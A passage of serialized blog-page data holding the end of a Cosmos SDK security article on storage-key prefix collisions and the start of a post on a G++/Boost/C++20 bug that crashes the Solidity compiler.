6645,86649,86653,86657,86661,86665,86669,86673],{"type":23,"tag":481,"props":86641,"children":86642},{"style":508},[86643],{"type":28,"value":86644}," values",{"type":23,"tag":481,"props":86646,"children":86647},{"style":525},[86648],{"type":28,"value":1269},{"type":23,"tag":481,"props":86650,"children":86651},{"style":508},[86652],{"type":28,"value":83003},{"type":23,"tag":481,"props":86654,"children":86655},{"style":525},[86656],{"type":28,"value":46483},{"type":23,"tag":481,"props":86658,"children":86659},{"style":508},[86660],{"type":28,"value":83272},{"type":23,"tag":481,"props":86662,"children":86663},{"style":525},[86664],{"type":28,"value":6141},{"type":23,"tag":481,"props":86666,"children":86667},{"style":514},[86668],{"type":28,"value":603},{"type":23,"tag":481,"props":86670,"children":86671},{"style":508},[86672],{"type":28,"value":4903},{"type":23,"tag":481,"props":86674,"children":86675},{"style":525},[86676],{"type":28,"value":809},{"type":23,"tag":481,"props":86678,"children":86679},{"class":483,"line":6591},[86680,86684,86688,86693,86697,86702],{"type":23,"tag":481,"props":86681,"children":86682},{"style":508},[86683],{"type":28,"value":24462},{"type":23,"tag":481,"props":86685,"children":86686},{"style":525},[86687],{"type":28,"value":12820},{"type":23,"tag":481,"props":86689,"children":86690},{"style":508},[86691],{"type":28,"value":86692},"iterator",{"type":23,"tag":481,"props":86694,"children":86695},{"style":525},[86696],{"type":28,"value":199},{"type":23,"tag":481,"props":86698,"children":86699},{"style":610},[86700],{"type":28,"value":86701},"Value",{"type":23,"tag":481,"props":86703,"children":86704},{"style":525},[86705],{"type":28,"value":1016},{"type":23,"tag":481,"props":86707,"children":86708},{"class":483,"line":6697},[86709],{"type":23,"tag":481,"props":86710,"children":86711},{"style":525},[86712],{"type":28,"value":870},{"type":23,"tag":481,"props":86714,"children":86715},{"class":483,"line":21008},[86716],{"type":23,"tag":481,"props":86717,"children":86718},{"style":525},[86719],{"type":28,"value":879},{"type":23,"tag":481,"props":86721,"children":86722},{"class":483,"line":21043},[86723,86727],{"type":23,"tag":481,"props":86724,"children":86725},{"style":535},[86726],{"type":28,"value":14481},{"type":23,"tag":481,"props":86728,"children":86729},{"style":508},[86730],{"type":28,"value":86731}," values\n",{"type":23,"tag":481,"props":86733,"children":86734},{"class":483,"line":21051},[86735],{"type":23,"tag":481,"props":86736,"children":86737},{"style":525},[86738],{"type":28,"value":1443},{"type":23,"tag":24,"props":86740,"children":86741},{},[86742,86744,86750,86751,86757,86759,86764,86766,86771,86773,86778,86780,86786,86788,86794],{"type":28,"value":86743},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":64,"props":86745,"children":86747},{"className":86746},[],[86748],{"type":28,"value":86749},"vaultId = 1",{"type":28,"value":8478},{"type":23,"tag":64,"props":86752,"children":86754},{"className":86753},[],[86755],{"type":28,"value":86756},"vaultId = 10",{"type":28,"value":86758}," coexist. If we try to fetch data under ",{"type":23,"tag":64,"props":86760,"children":86762},{"className":86761},[],[86763],{"type":28,"value":86749},{"type":28,"value":86765},", all entries under ",{"type":23,"tag":64,"props":86767,"children":86769},{"className":86768},[],[86770],{"type":28,"value":86756},{"type":28,"value":86772}," will also be returned simply because ",{"type":23,"tag":64,"props":86774,"children":86776},{"className":86775},[],[86777],{"type":28,"value":1558},{"type":28,"value":86779}," is a prefix of ",{"type":23,"tag":64,"props":86781,"children":86783},{"className":86782},[],[86784],{"type":28,"value":86785},"10",{"type":28,"value":86787},". To fix this, we must once again append the ",{"type":23,"tag":64,"props":86789,"children":86791},{"className":86790},[],[86792],{"type":28,"value":86793},"Separator",{"type":28,"value":86795}," to the iterator prefix.",{"type":23,"tag":435,"props":86797,"children":86799},{"code":86798,"language":73696,"meta":7,"className":73697,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[86800],{"type":23,"tag":64,"props":86801,"children":86802},{"__ignoreMap":7},[86803,86830,86842,86895],{"type":23,"tag":481,"props":86804,"children":86805},{"class":483,"line":484},[86806,86810,86814,86818,86822,86826],{"type":23,"tag":481,"props":86807,"children":86808},{"style":508},[86809],{"type":28,"value":1274},{"type":23,"tag":481,"props":86811,"children":86812},{"style":514},[86813],{"type":28,"value":73948},{"type":23,"tag":481,"props":86815,"children":86816},{"style":508},[86817],{"type":28,"value":76173},{"type":23,"tag":481,"props":86819,"children":86820},{"style":525},[86821],{"type":28,"value":199},{"type":23,"tag":481,"props":86823,"children":86824},{"style":610},[86825],{"type":28,"value":85988},{"type":23,"tag":481,"props":86827,"children":86828},{"style":525},[86829],{"type":28,"value":988},{"type":23,"tag":481,"props":86831,"children":86832},{"class":483,"line":351},[86833,86838],{"type":23,"tag":481,"props":86834,"children":86835},{"style":508},[86836],{"type":28,"value":86837}," kvStore",{"type":23,"tag":481,"props":86839,"children":86840},{"style":525},[86841],{"type":28,"value":1033},{"type":23,"tag":481,"props":86843,"children":86844},{"class":483,"line":531},[86845,86850,86854,86858,86862,86867,86871,86875,86879,86883,86887,86891],{"type":23,"tag":481,"props":86846,"children":86847},{"style":508},[86848],{"type":28,"value":86849}," fmt",{"type":23,"tag":481,"props":86851,"children":86852},{"style":525},[86853],{"type":28,"value":199},{"type":23,"tag":481,"props":86855,"children":86856},{"style":610},[86857],{"type":28,"value":82755},{"type":23,"tag":481,"props":86859,"children":86860},{"style":525},[86861],{"type":28,"value":618},{"type":23,"tag":481,"props":86863,"children":86864},{"style":1805},[86865],{"type":28,"value":86866},"\"%s%d%s\"",{"type":23,"tag":481,"props":86868,"children":86869},{"style":525},[86870],{"type":28,"value":588},{"type":23,"tag":481,"props":86872,"children":86873},{"style":508},[86874],{"type":28,"value":86038},{"type":23,"tag":481,"props":86876,"children":86877},{"style":525},[86878],{"type":28,"value":588},{"type":23,"tag":481,"props":86880,"children":86881},{"style":508},[86882],{"type":28,"value":85823},{"type":23,"tag":481,"props":86884,"children":86885},{"style":525},[86886],{"type":28,"value":588},{"type":23,"tag":481,"props":86888,"children":86889},{"style":508},[86890],{"type":28,"value":86154},{"type":23,"tag":481,"props":86892,"children":86893},{"style":525},[86894],{"type":28,"value":4214},{"type":23,"tag":481,"props":86896,"children":86897},{"class":483,"line":567},[86898],{"type":23,"tag":481,"props":86899,"children":86900},{"style":525},[86901],{"type":28,"value":675},{"type":23,"tag":24,"props":86903,"children":86904},{},[86905,86907,86912],{"type":28,"value":86906},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":64,"props":86908,"children":86910},{"className":86909},[],[86911],{"type":28,"value":82509},{"type":28,"value":86913}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":86915,"children":86916},{},[86917],{"type":28,"value":86918},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":7092,"props":86920,"children":86922},{"id":86921},"real-world-examples-5",[86923],{"type":28,"value":74221},{"type":23,"tag":24,"props":86925,"children":86926},{},[86927,86928,86933,86935,86942,86944,86950],{"type":28,"value":14104},{"type":23,"tag":64,"props":86929,"children":86931},{"className":86930},[],[86932],{"type":28,"value":75994},{"type":28,"value":86934}," previously lacked protection against KVStore ",{"type":23,"tag":190,"props":86936,"children":86939},{"href":86937,"rel":86938},"https://github.com/cosmos/cosmos-sdk/pull/9363",[194],[86940],{"type":28,"value":86941},"key collisions",{"type":28,"value":86943},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":64,"props":86945,"children":86947},{"className":86946},[],[86948],{"type":28,"value":86949},"KVStores",{"type":28,"value":86951}," that were not independent of each other.",{"type":23,"tag":24,"props":86953,"children":86954},{},[86955],{"type":23,"tag":190,"props":86956,"children":86959},{"href":86957,"rel":86958},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[194],[86960],{"type":28,"value":74271},{"type":23,"tag":435,"props":86962,"children":86964},{"code":86963,"language":73696,"meta":7,"className":73697,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[86965],{"type":23,"tag":64,"props":86966,"children":86967},{"__ignoreMap":7},[86968,87030,87078,87114,87154,87161,87168,87180],{"type":23,"tag":481,"props":86969,"children":86970},{"class":483,"line":484},[86971,86975,86980,86984,86989,86993,86997,87001,87005,87009,87013,87017,87021,87026],{"type":23,"tag":481,"props":86972,"children":86973},{"style":497},[86974],{"type":28,"value":73832},{"type":23,"tag":481,"props":86976,"children":86977},{"style":610},[86978],{"type":28,"value":86979}," NewKVStoreKeys",{"type":23,"tag":481,"props":86981,"children":86982},{"style":525},[86983],{"type":28,"value":618},{"type":23,"tag":481,"props":86985,"children":86986},{"style":508},[86987],{"type":28,"value":86988},"names",{"type":23,"tag":481,"props":86990,"children":86991},{"style":514},[86992],{"type":28,"value":22810},{"type":23,"tag":481,"props":86994,"children":86995},{"style":943},[86996],{"type":28,"value":27180},{"type":23,"tag":481,"props":86998,"children":86999},{"style":525},[87000],{"type":28,"value":598},{"type":23,"tag":481,"props":87002,"children":87003},{"style":497},[87004],{"type":28,"value":64631},{"type":23,"tag":481,"props":87006,"children":87007},{"style":525},[87008],{"type":28,"value":1269},{"type":23,"tag":481,"props":87010,"children":87011},{"style":943},[87012],{"type":28,"value":27180},{"type":23,"tag":481,"props":87014,"children":87015},{"style":525},[87016],{"type":28,"value":12900},{"type":23,"tag":481,"props":87018,"children":87019},{"style":514},[87020],{"type":28,"value":2120},{"type":23,"tag":481,"props":87022,"children":87023},{"style":943},[87024],{"type":28,"value":87025},"KVStoreKey",{"type":23,"tag":481,"props":87027,"children":87028},{"style":525},[87029],{"type":28,"value":809},{"type":23,"tag":481,"props":87031,"children":87032},{"class":483,"line":351},[87033,87038,87042,87046,87050,87054,87058,87062,87066,87070,87074],{"type":23,"tag":481,"props":87034,"children":87035},{"style":508},[87036],{"type":28,"value":87037}," keys",{"type":23,"tag":481,"props":87039,"children":87040},{"style":514},[87041],{"type":28,"value":73948},{"type":23,"tag":481,"props":87043,"children":87044},{"style":610},[87045],{"type":28,"value":83096},{"type":23,"tag":481,"props":87047,"children":87048},{"style":525},[87049],{"type":28,"value":618},{"type":23,"tag":481,"props":87051,"children":87052},{"style":497},[87053],{"type":28,"value":64631},{"type":23,"tag":481,"props":87055,"children":87056},{"style":525},[87057],{"type":28,"value":1269},{"type":23,"tag":481,"props":87059,"children":87060},{"style":943},[87061],{"type":28,"value":27180},{"type":23,"tag":481,"props":87063,"children":87064},{"style":525},[87065],{"type":28,"value":12900},{"type":23,"tag":481,"props":87067,"children":87068},{"style":514},[87069],{"type":28,"value":2120},{"type":23,"tag":481,"props":87071,"children":87072},{"style":943},[87073],{"type":28,"value":87025},{"type":23,"tag":481,"props":87075,"children":87076},{"style":525},[87077],{"type":28,"value":675},{"type":23,"tag":481,"props":87079,"children":87080},{"class":483,"line":531},[87081,87085,87089,87093,87097,87101,87105,87110],{"type":23,"tag":481,"props":87082,"children":87083},{"style":535},[87084],{"type":28,"value":538},{"type":23,"tag":481,"props":87086,"children":87087},{"style":508},[87088],{"type":28,"value":543},{"type":23,"tag":481,"props":87090,"children":87091},{"style":525},[87092],{"type":28,"value":588},{"type":23,"tag":481,"props":87094,"children":87095},{"style":508},[87096],{"type":28,"value":46023},{"type":23,"tag":481,"props":87098,"children":87099},{"style":514},[87100],{"type":28,"value":73948},{"type":23,"tag":481,"props":87102,"children":87103},{"style":535},[87104],{"type":28,"value":74931},{"type":23,"tag":481,"props":87106,"children":87107},{"style":508},[87108],{"type":28,"value":87109}," names",{"type":23,"tag":481,"props":87111,"children":87112},{"style":525},[87113],{"type":28,"value":809},{"type":23,"tag":481,"props":87115,"children":87116},{"class":483,"line":567},[87117,87121,87125,87129,87133,87137,87142,87146,87150],{"type":23,"tag":481,"props":87118,"children":87119},{"style":508},[87120],{"type":28,"value":22842},{"type":23,"tag":481,"props":87122,"children":87123},{"style":525},[87124],{"type":28,"value":1269},{"type":23,"tag":481,"props":87126,"children":87127},{"style":508},[87128],{"type":28,"value":46023},{"type":23,"tag":481,"props":87130,"children":87131},{"style":525},[87132],{"type":28,"value":6141},{"type":23,"tag":481,"props":87134,"children":87135},{"style":514},[87136],{"type":28,"value":603},{"type":23,"tag":481,"props":87138,"children":87139},{"style":610},[87140],{"type":28,"value":87141}," NewKVStoreKey",{"type":23,"tag":481,"props":87143,"children":87144},{"style":525},[87145],{"type":28,"value":618},{"type":23,"tag":481,"props":87147,"children":87148},{"style":508},[87149],{"type":28,"value":46023},{"type":23,"tag":481,"props":87151,"children":87152},{"style":525},[87153],{"type":28,"value":675},{"type":23,"tag":481,"props":87155,"children":87156},{"class":483,"line":678},[87157],{"type":23,"tag":481,"props":87158,"children":87159},{"style":525},[87160],{"type":28,"value":879},{"type":23,"tag":481,"props":87162,"children":87163},{"class":483,"line":784},[87164],{"type":23,"tag":481,"props":87165,"children":87166},{"emptyLinePlaceholder":15},[87167],{"type":28,"value":1210},{"type":23,"tag":481,"props":87169,"children":87170},{"class":483,"line":812},[87171,87175],{"type":23,"tag":481,"props":87172,"children":87173},{"style":535},[87174],{"type":28,"value":14481},{"type":23,"tag":481,"props":87176,"children":87177},{"style":508},[87178],{"type":28,"value":87179}," keys\n",{"type":23,"tag":481,"props":87181,"children":87182},{"class":483,"line":825},[87183],{"type":23,"tag":481,"props":87184,"children":87185},{"style":525},[87186],{"type":28,"value":1443},{"type":23,"tag":24,"props":87188,"children":87189},{},[87190,87192,87197,87199,87204,87206,87211],{"type":28,"value":87191},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":64,"props":87193,"children":87195},{"className":87194},[],[87196],{"type":28,"value":75994},{"type":28,"value":87198}," will refuse to run if any ",{"type":23,"tag":64,"props":87200,"children":87202},{"className":87201},[],[87203],{"type":28,"value":82509},{"type":28,"value":87205}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":64,"props":87207,"children":87209},{"className":87208},[],[87210],{"type":28,"value":82509},{"type":28,"value":87212}," level.",{"type":23,"tag":24,"props":87214,"children":87215},{},[87216,87218,87225],{"type":28,"value":87217},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":190,"props":87219,"children":87222},{"href":87220,"rel":87221},"https://github.com/cosmos/cosmos-sdk/issues/12661",[194],[87223],{"type":28,"value":87224},"incorrect iterator behavior",{"type":28,"value":199},{"type":23,"tag":24,"props":87227,"children":87228},{},[87229,87231,87238],{"type":28,"value":87230},"Notably, gradual adoption of the ",{"type":23,"tag":190,"props":87232,"children":87235},{"href":87233,"rel":87234},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[194],[87236],{"type":28,"value":87237},"collections",{"type":28,"value":87239}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":31,"props":87241,"children":87242},{"id":26445},[87243],{"type":28,"value":16443},{"type":23,"tag":24,"props":87245,"children":87246},{},[87247],{"type":28,"value":87248},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":87250,"children":87251},{},[87252],{"type":28,"value":87253},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":2918,"props":87255,"children":87256},{},[87257],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":87259},[87260,87261,87264,87267,87270,87273,87276,87279],{"id":26528,"depth":351,"text":26531},{"id":73413,"depth":351,"text":73416,"children":87262},[87263],{"id":74218,"depth":531,"text":74221},{"id":74814,"depth":351,"text":74817,"children":87265},[87266],{"id":75463,"depth":531,"text":74221},{"id":75960,"depth":351,"text":75963,"children":87268},[87269],{"id":77260,"depth":531,"text":74221},{"id":78604,"depth":351,"text":78607,"children":87271},[87272],{"id":79142,"depth":531,"text":74221},{"id":80661,"depth":351,"text":80664,"children":87274},[87275],{"id":81541,"depth":531,"text":74221},{"id":82495,"depth":351,"text":82498,"children":87277},[87278],{"id":86921,"depth":531,"text":74221},{"id":26445,"depth":351,"text":16443},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":87284,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":87285,"description":87286,"author":87287,"image":87288,"date":87290,"tags":87291,"isFeatured":15,"onBlogPage":15,"body":87292,"_type":358,"_id":90001,"_source":360,"_file":90002,"_stem":90003,"_extension":363},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":87289,"height":11111,"width":11111},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[2023,26523],{"type":20,"children":87293,"toc":89985},[87294,87299,87436,87441,87446,87451,87456,87569,87574,87579,87584,87624,87637,87642,87660,87665,87668,87674,87688,87701,87706,87719,87724,87736,87749,87754,87757,87763,87769,87826,87831,87837,87851,87886,87894,87902,87922,87928,87933,88373,88381,88425,88430,88438,88446,88485,88490,88498,88503,88506,88512,88518,88543,88555,88582,88615,88620,88623,88629,88648,89166,89179,89197,89220,89231,89236,89339,89344,89349,89363,89368,89444,89462,89467,89470,89476,89488,89500,89840,89845,89863,89868,89871,89877,89882,89900,89920,89923,89929,89948,89951,89955,89960,89971,89976,89981],{"type":23,"tag":24,"props":87295,"children":87296},{},[87297],{"type":28,"value":87298},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":435,"props":87300,"children":87302},{"code":87301,"language":2023,"meta":7,"className":2024,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[87303],{"type":23,"tag":64,"props":87304,"children":87305},{"__ignoreMap":7},[87306,87314,87332,87339,87356,87398,87422,87429],{"type":23,"tag":481,"props":87307,"children":87308},{"class":483,"line":484},[87309],{"type":23,"tag":481,"props":87310,"children":87311},{"style":488},[87312],{"type":28,"value":87313},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":481,"props":87315,"children":87316},{"class":483,"line":351},[87317,87322,87327],{"type":23,"tag":481,"props":87318,"children":87319},{"style":535},[87320],{"type":28,"value":87321},"pragma",{"type":23,"tag":481,"props":87323,"children":87324},{"style":497},[87325],{"type":28,"value":87326}," solidity",{"type":23,"tag":481,"props":87328,"children":87329},{"style":525},[87330],{"type":28,"value":87331}," ^0.8.25;\n",{"type":23,"tag":481,"props":87333,"children":87334},{"class":483,"line":531},[87335],{"type":23,"tag":481,"props":87336,"children":87337},{"emptyLinePlaceholder":15},[87338],{"type":28,"value":1210},{"type":23,"tag":481,"props":87340,"children":87341},{"class":483,"line":567},[87342,87347,87352],{"type":23,"tag":481,"props":87343,"children":87344},{"style":497},[87345],{"type":28,"value":87346},"contract",{"type":23,"tag":481,"props":87348,"children":87349},{"style":943},[87350],{"type":28,"value":87351}," A",{"type":23,"tag":481,"props":87353,"children":87354},{"style":525},[87355],{"type":28,"value":809},{"type":23,"tag":481,"props":87357,"children":87358},{"class":483,"line":678},[87359,87364,87369,87373,87377,87382,87386,87390,87394],{"type":23,"tag":481,"props":87360,"children":87361},{"style":497},[87362],{"type":28,"value":87363}," function",{"type":23,"tag":481,"props":87365,"children":87366},{"style":610},[87367],{"type":28,"value":87368}," a",{"type":23,"tag":481,"props":87370,"children":87371},{"style":525},[87372],{"type":28,"value":11531},{"type":23,"tag":481,"props":87374,"children":87375},{"style":497},[87376],{"type":28,"value":59203},{"type":23,"tag":481,"props":87378,"children":87379},{"style":497},[87380],{"type":28,"value":87381}," pure",{"type":23,"tag":481,"props":87383,"children":87384},{"style":535},[87385],{"type":28,"value":73525},{"type":23,"tag":481,"props":87387,"children":87388},{"style":525},[87389],{"type":28,"value":578},{"type":23,"tag":481,"props":87391,"children":87392},{"style":943},[87393],{"type":28,"value":43692},{"type":23,"tag":481,"props":87395,"children":87396},{"style":525},[87397],{"type":28,"value":12292},{"type":23,"tag":481,"props":87399,"children":87400},{"class":483,"line":784},[87401,87405,87409,87414,87418],{"type":23,"tag":481,"props":87402,"children":87403},{"style":535},[87404],{"type":28,"value":13234},{"type":23,"tag":481,"props":87406,"children":87407},{"style":551},[87408],{"type":28,"value":2072},{"type":23,"tag":481,"props":87410,"children":87411},{"style":514},[87412],{"type":28,"value":87413}," **",{"type":23,"tag":481,"props":87415,"children":87416},{"style":551},[87417],{"type":28,"value":5413},{"type":23,"tag":481,"props":87419,"children":87420},{"style":525},[87421],{"type":28,"value":528},{"type":23,"tag":481,"props":87423,"children":87424},{"class":483,"line":812},[87425],{"type":23,"tag":481,"props":87426,"children":87427},{"style":525},[87428],{"type":28,"value":879},{"type":23,"tag":481,"props":87430,"children":87431},{"class":483,"line":825},[87432],{"type":23,"tag":481,"props":87433,"children":87434},{"style":525},[87435],{"type":28,"value":1443},{"type":23,"tag":24,"props":87437,"children":87438},{},[87439],{"type":28,"value":87440},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":87442,"children":87443},{},[87444],{"type":28,"value":87445},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":87447,"children":87448},{},[87449],{"type":28,"value":87450},"And yet, it crashes.",{"type":23,"tag":24,"props":87452,"children":87453},{},[87454],{"type":28,"value":87455},"Another minimal example?",{"type":23,"tag":435,"props":87457,"children":87459},{"code":87458,"language":2023,"meta":7,"className":2024,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[87460],{"type":23,"tag":64,"props":87461,"children":87462},{"__ignoreMap":7},[87463,87470,87485,87492,87507,87534,87555,87562],{"type":23,"tag":481,"props":87464,"children":87465},{"class":483,"line":484},[87466],{"type":23,"tag":481,"props":87467,"children":87468},{"style":488},[87469],{"type":28,"value":87313},{"type":23,"tag":481,"props":87471,"children":87472},{"class":483,"line":351},[87473,87477,87481],{"type":23,"tag":481,"props":87474,"children":87475},{"style":535},[87476],{"type":28,"value":87321},{"type":23,"tag":481,"props":87478,"children":87479},{"style":497},[87480],{"type":28,"value":87326},{"type":23,"tag":481,"props":87482,"children":87483},{"style":525},[87484],{"type":28,"value":87331},{"type":23,"tag":481,"props":87486,"children":87487},{"class":483,"line":531},[87488],{"type":23,"tag":481,"props":87489,"children":87490},{"emptyLinePlaceholder":15},[87491],{"type":28,"value":1210},{"type":23,"tag":481,"props":87493,"children":87494},{"class":483,"line":567},[87495,87499,87503],{"type":23,"tag":481,"props":87496,"children":87497},{"style":497},[87498],{"type":28,"value":87346},{"type":23,"tag":481,"props":87500,"children":87501},{"style":943},[87502],{"type":28,"value":87351},{"type":23,"tag":481,"props":87504,"children":87505},{"style":525},[87506],{"type":28,"value":809},{"type":23,"tag":481,"props":87508,"children":87509},{"class":483,"line":678},[87510,87514,87518,87522,87526,87530],{"type":23,"tag":481,"props":87511,"children":87512},{"style":497},[87513],{"type":28,"value":87363},{"type":23,"tag":481,"props":87515,"children":87516},{"style":610},[87517],{"type":28,"value":87368},{"type":23,"tag":481,"props":87519,"children":87520},{"style":525},[87521],{"type":28,"value":11531},{"type":23,"tag":481,"props":87523,"children":87524},{"style":497},[87525],{"type":28,"value":59203},{"type":23,"tag":481,"props":87527,"children":87528},{"style":497},[87529],{"type":28,"value":87381},{"type":23,"tag":481,"props":87531,"children":87532},{"style":525},[87533],{"type":28,"value":809},{"type":23,"tag":481,"props":87535,"children":87536},{"class":483,"line":784},[87537,87542,87546,87550],{"type":23,"tag":481,"props":87538,"children":87539},{"style":943},[87540],{"type":28,"value":87541}," uint256",{"type":23,"tag":481,"props":87543,"children":87544},{"style":525},[87545],{"type":28,"value":1269},{"type":23,"tag":481,"props":87547,"children":87548},{"style":551},[87549],{"type":28,"value":1558},{"type":23,"tag":481,"props":87551,"children":87552},{"style":525},[87553],{"type":28,"value":87554},"] data;\n",{"type":23,"tag":481,"props":87556,"children":87557},{"class":483,"line":812},[87558],{"type":23,"tag":481,"props":87559,"children":87560},{"style":525},[87561],{"type":28,"value":879},{"type":23,"tag":481,"props":87563,"children":87564},{"class":483,"line":825},[87565],{"type":23,"tag":481,"props":87566,"children":87567},{"style":525},[87568],{"type":28,"value":1443},{"type":23,"tag":24,"props":87570,"children":87571},{},[87572],{"type":28,"value":87573},"Still crashes.",{"type":23,"tag":24,"props":87575,"children":87576},{},[87577],{"type":28,"value":87578},"So what’s going on?",{"type":23,"tag":24,"props":87580,"children":87581},{},[87582],{"type":28,"value":87583},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":435,"props":87585,"children":87587},{"code":87586,"language":26625,"meta":7,"className":26623,"style":7},"if (*lengthValue == 0) { ... }\n",[87588],{"type":23,"tag":64,"props":87589,"children":87590},{"__ignoreMap":7},[87591],{"type":23,"tag":481,"props":87592,"children":87593},{"class":483,"line":484},[87594,87598,87602,87606,87611,87615,87619],{"type":23,"tag":481,"props":87595,"children":87596},{"style":535},[87597],{"type":28,"value":13069},{"type":23,"tag":481,"props":87599,"children":87600},{"style":525},[87601],{"type":28,"value":578},{"type":23,"tag":481,"props":87603,"children":87604},{"style":514},[87605],{"type":28,"value":2120},{"type":23,"tag":481,"props":87607,"children":87608},{"style":525},[87609],{"type":28,"value":87610},"lengthValue ",{"type":23,"tag":481,"props":87612,"children":87613},{"style":514},[87614],{"type":28,"value":6055},{"type":23,"tag":481,"props":87616,"children":87617},{"style":551},[87618],{"type":28,"value":554},{"type":23,"tag":481,"props":87620,"children":87621},{"style":525},[87622],{"type":28,"value":87623},") { ... }\n",{"type":23,"tag":24,"props":87625,"children":87626},{},[87627,87629,87635],{"type":28,"value":87628},"That single comparison — a ",{"type":23,"tag":64,"props":87630,"children":87632},{"className":87631},[],[87633],{"type":28,"value":87634},"boost::rational",{"type":28,"value":87636}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":87638,"children":87639},{},[87640],{"type":28,"value":87641},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":14178,"props":87643,"children":87644},{},[87645,87650,87655],{"type":23,"tag":77,"props":87646,"children":87647},{},[87648],{"type":28,"value":87649},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":77,"props":87651,"children":87652},{},[87653],{"type":28,"value":87654},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":77,"props":87656,"children":87657},{},[87658],{"type":28,"value":87659},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":87661,"children":87662},{},[87663],{"type":28,"value":87664},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":16288,"props":87666,"children":87667},{},[],{"type":23,"tag":31,"props":87669,"children":87671},{"id":87670},"background-the-setup",[87672],{"type":28,"value":87673},"Background: The Setup",{"type":23,"tag":24,"props":87675,"children":87676},{},[87677,87679,87686],{"type":28,"value":87678},"If you follow the ",{"type":23,"tag":190,"props":87680,"children":87683},{"href":87681,"rel":87682},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[194],[87684],{"type":28,"value":87685},"Solidity build documentation (v0.8.30)",{"type":28,"value":87687},", you'll see it recommends:",{"type":23,"tag":14178,"props":87689,"children":87690},{},[87691,87696],{"type":23,"tag":77,"props":87692,"children":87693},{},[87694],{"type":28,"value":87695},"Boost ≥ 1.67",{"type":23,"tag":77,"props":87697,"children":87698},{},[87699],{"type":28,"value":87700},"GCC ≥ 11",{"type":23,"tag":24,"props":87702,"children":87703},{},[87704],{"type":28,"value":87705},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":14178,"props":87707,"children":87708},{},[87709,87714],{"type":23,"tag":77,"props":87710,"children":87711},{},[87712],{"type":28,"value":87713},"G++ 11.4.0",{"type":23,"tag":77,"props":87715,"children":87716},{},[87717],{"type":28,"value":87718},"Boost 1.74.0",{"type":23,"tag":24,"props":87720,"children":87721},{},[87722],{"type":28,"value":87723},"So far, so good.",{"type":23,"tag":24,"props":87725,"children":87726},{},[87727,87729,87734],{"type":28,"value":87728},"However, Solidity enabled ",{"type":23,"tag":2875,"props":87730,"children":87731},{},[87732],{"type":28,"value":87733},"C++20",{"type":28,"value":87735}," in January 2025:",{"type":23,"tag":426,"props":87737,"children":87738},{},[87739],{"type":23,"tag":24,"props":87740,"children":87741},{},[87742],{"type":23,"tag":190,"props":87743,"children":87746},{"href":87744,"rel":87745},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[194],[87747],{"type":28,"value":87748},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":87750,"children":87751},{},[87752],{"type":28,"value":87753},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the 